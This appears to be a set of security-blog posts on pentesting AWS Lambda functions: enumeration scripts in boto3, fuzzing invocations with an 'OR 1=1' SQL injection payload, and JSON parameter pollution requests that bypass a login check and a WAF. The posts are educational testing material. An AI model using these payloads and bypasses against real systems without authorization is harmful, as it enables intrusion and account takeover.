Enumerating Lambda functions for Pentesting

Lambda functions can be directly pentested as discussed in the last post. We would like to take it to the next level by illustrating the methodology to automate  pentesting. It is interesting to leverage scripting to automate reviewing Lambda functions from security standpoint. We can use SDK and libraries available in various languages. In this post, we are using python with boto3. More detail and documentation can be found at (https://boto3.readthedocs.io/en/latest/reference/services/lambda.html).

Let’s use a simple sample and run against our target deployment. Before running these scripts, one needs to setup AWS configuration as discussed in the last post. We can run script and use “list_functions” to fetch all functions deployed on the target environment. Here is the list of functions, which are fetched from deployment.

tools $python3 listfunction.py
(+) Lambda functions ...
   (-)pyhello
   (-)login
   (-)hello
   (-)myService-dev-helloworld
   (-)delete
   (-)getuserinfo
   


Here is the code snippet for the function used.

def getFunctions():
    raw_functions = client.list_functions()
    all_functions = raw_functions["Functions"]
    #print(json.dumps(all_functions,indent=1))
    list_of_functions = []
    for i in all_functions:
        list_of_functions.append(i["FunctionName"])
    return list_of_functions


This can be entry point for pentesting. You can uncomment the line where we are using json.dumps. It will give you entire stream for evaluation. Now, we can take each function and start enumerating as shown below. We can start evaluating important parameters and its impact on security.

tools $python3 getFunctionInfo.py login
(+) Fetching Lambda function login...
       (+) Platform: nodejs6.10
       (+) Permission: arn:aws:iam::313588302550:role/service-role/access
       (+) Code-Location: https://awslambda-us-east-2-tasks.s3.us-east-2.amazonaws.com/snapshots/313588302550/login-a1488a4f-………69c59232e73703


In above case, we can fetch important information like platform, permission and code-location to fetch source. We can use “get_function” to fetch detail about function. Here is the code snippet -

target_function = sys.argv[1]
print("(+) Fetching Lambda function "+target_function+"...")
myfunc = client.get_function(FunctionName=target_function)
#print(json.dumps(myfunc,indent=1))
temp = myfunc["Configuration"]
print ("       (+) Platform: "+temp["Runtime"])
print ("       (+) Permission: "+temp["Role"])
temp_code = myfunc["Code"]
print ("       (+) Code-Location: "+temp_code["Location"]+"\n")


In case, if you are interested in seeing the entire object, just use json.dump() and print the object as line commented in both of the above cases.

We can enumerate other mapping information as well, here is the way we can leverage “list_event_source_mappings”.

tools $python3 listmap.py
[{'UUID': '682c8cb8-cb32-4cdc-b059-8f655f71fe07', 'BatchSize': 100, 'EventSourceArn': 'arn:aws:dynamodb:us-east-1:223983707454:table/targetlocations/stream/2018-05-30T09:41:22.995', 'FunctionArn': 'arn:aws:lambda:us-east-1:223983707454:function: targetlocations', 'LastModified': datetime.datetime(2018, 7, 4, 8, 10, tzinfo=tzlocal()), 'LastProcessingResult': 'OK', 'State': 'Enabled', 'StateTransitionReason': 'User action'}]

Here is the code for the same.

myfunc = client.list_event_source_mappings(FunctionName='targetlocations')
temp = myfunc["EventSourceMappings"]
print(temp)

It seems function is using “dynamodb” from ARN.

In next posts, we will go over  invoke and tracing the functions.  

Article by Amish Shah & Shreeraj Shah

Fuzzing Serverless Lambda functions directly

Serverless application (FaaS - Function as a Service) development and use of microservices model are emerging in next generation applications and architecture. It is becoming easier to maintain and cost effective in the days of DevOps era. It is imperative to do a quick testing of these functions from security standpoint and look for common vulnerabilities like injections. Amazon provides Lambda functions for serverless architecture whereas Google and Azure also implemented these types of support and having FaaS in their own portfolio. As shown in the below figure, lambda function is created and deployed on amazon and can be triggered by set of events like HTTP gateway, S3 bucket and number of other events. At the end, the functions are being “invoked” and executed by the end client (Browser, mobile or API users). The challenge from security standpoint is to fuzz these inputs going to functions and identifies any defect in the code via error or behavioural observations (purely DAST approach).


Figure 1 - Lambda invoke and integration

To address the issue of fuzzing, we can leverage AWS client (command-line) directly and interact with functions without going through the actual events as shown in the above diagram. It is possible to test these functions if developer provides right environment along with credentials to the pentester. We can set up AWS client and run some quick tests to discover vulnerabilities and weakness.

One needs to setup AWS client and you can find guideline over here - https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html

First, one needs to setup the access for the environment by given keys from developers as shown below. It is quick process and needs basic detail.

$ aws configure
AWS Access Key ID [None]: …
AWS Secret Access Key [None]: …
Default region name [None]: …
Default output format [None]: …


Once it is set, we can go ahead and enumerate the functions deployed on the server as below by using “list-function” option. It helps in enumerating all functions deployed with some basic information including permissions.



As shown above, we get list of all the functions. Next, we can enumerate the functions in more detail. For example, getting configuration and actual location (code) as shown below.



One can get location of the code by following call, “Location” attribute give the code for review if required.



Now, we can get into the most critical part of the testing. We can invoke the function and start interacting with it as shown below over AWS APIs without actual event. Event can be coming from any source but we are keeping focus on directly testing the function.



In above case, we invoked “login” function with “payload”. We directed out to the file and can see the results.

Now, we can just go ahead and start manipulating “payload” with all different values from DAST/Blackbox standpoint. We can fuzz the payload and start injecting values to discover vulnerabilities within lambda functions.

In a nutshell, it is easy to fuzz lambda functions and test them thoroughly. It is possible to add them into DevOps pipe. AWS client can be used with different languages as well to automate the process. For example following code with python and boto3 client helps in automate fuzzing.

 

Here, we are passing ‘john OR 1=1’ as payload to invoke the function. We are getting following response.

 

We get “Error in fetching value from table” as status message. It implies something to do with SQL injection. Again, we need to dive deep and find exact payload. We can automate the script and start fuzzing the lambda functions.

Article by Amish Shah & Shreeraj Shah

JSON Parameter Pollution

HTTP parameter pollution attack is known to the industry for quite some time now. In HTTP parameter pollution attack, an attacker plays with order of HTTP parameters going to web/application server as part of querystring and/or POST parameter. Attacker tries to confuse HTTP parsers and leverages vulnerable code. Further details on HTTP parameter pollution (HPP) can be found at OWASP - https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)

HTTP parameter pollution vector can be extended to JSON streams as well. If application is consuming JSON stream and parsing based on their order then it is possible to manipulate order and reach to the vulnerable code. Let’s take this simple example.

Figure 1 - Possible Scenario of JSON Parameter Pollution

Here is the original HTTP request/response for the target application,

HTTP Request

POST /starter/login HTTP/1.1
Host: target
Connection: close
Content-Length: 57
Origin: chrome://newtab
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36
content-type: application/json
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{"login":"john","password":"letmein"}


HTTP Response

HTTP/1.1 200 OK
Date: Tue, 03 Jul 2018 06:04:11 GMT
Content-Type: application/json
Content-Length: 20
Connection: close
Access-Control-Allow-Origin: *

{"status":"success"}


As you can see over here, we have passed right credentials and got “success”.

Let’s try wrong credentials and see what response we get,

HTTP Request

POST /starter/login HTTP/1.1
Host: target
Connection: close
Content-Length: 57
Origin: chrome://newtab
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36
content-type: application/json
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{"login":"john","password":"junk"}


HTTP Response

HTTP/1.1 200 OK
Date: Tue, 03 Jul 2018 06:04:11 GMT
Content-Type: application/json
Content-Length: 20
Connection: close
Access-Control-Allow-Origin: *

{"status":"failure"}


So clearly we get “failure” over here. Now we can go ahead and add one more parameter to JSON stream like below and analyze the response.

HTTP Request

POST /starter/login HTTP/1.1
Host: target
Connection: close
Content-Length: 57
Origin: chrome://newtab
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36
content-type: application/json
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{"login":"john","password":"junk",”password”:”letmein”}


HTTP Response

HTTP/1.1 200 OK
Date: Tue, 03 Jul 2018 06:04:11 GMT
Content-Type: application/json
Content-Length: 20
Connection: close
Access-Control-Allow-Origin: *

{"status":"success"}


Hence, as we passed JSON stream like this - {"login":"john","password":"junk",”password”:”letmein”} and end up getting “success”.

JSON parameter pollution conclusion:

In this case or many other cases, it is possible that underlying code is taking last parameter for JSON processing. It depends on library to library, how they are processing the streams. Hence, an attacker can send two parameters and possibly WAF would process first value and library would take second value. It leads to WAF value bypass. Attacker can pass real attack payload in the second parameter and genuine value in the first parameter so that WAF will allow the request and attacker can successfully execute injection on the application through JSON streams. Also, nowadays, applications are running in multi layers where logic is spread across multiple layers and each layer processes JSON data with their own JSON library. Hence, it is quite possible that one library considers first parameter value and second library considers second parameter value. In this situation, attacker can supply different values in both parameters and bypass application business logic validation through invalid values.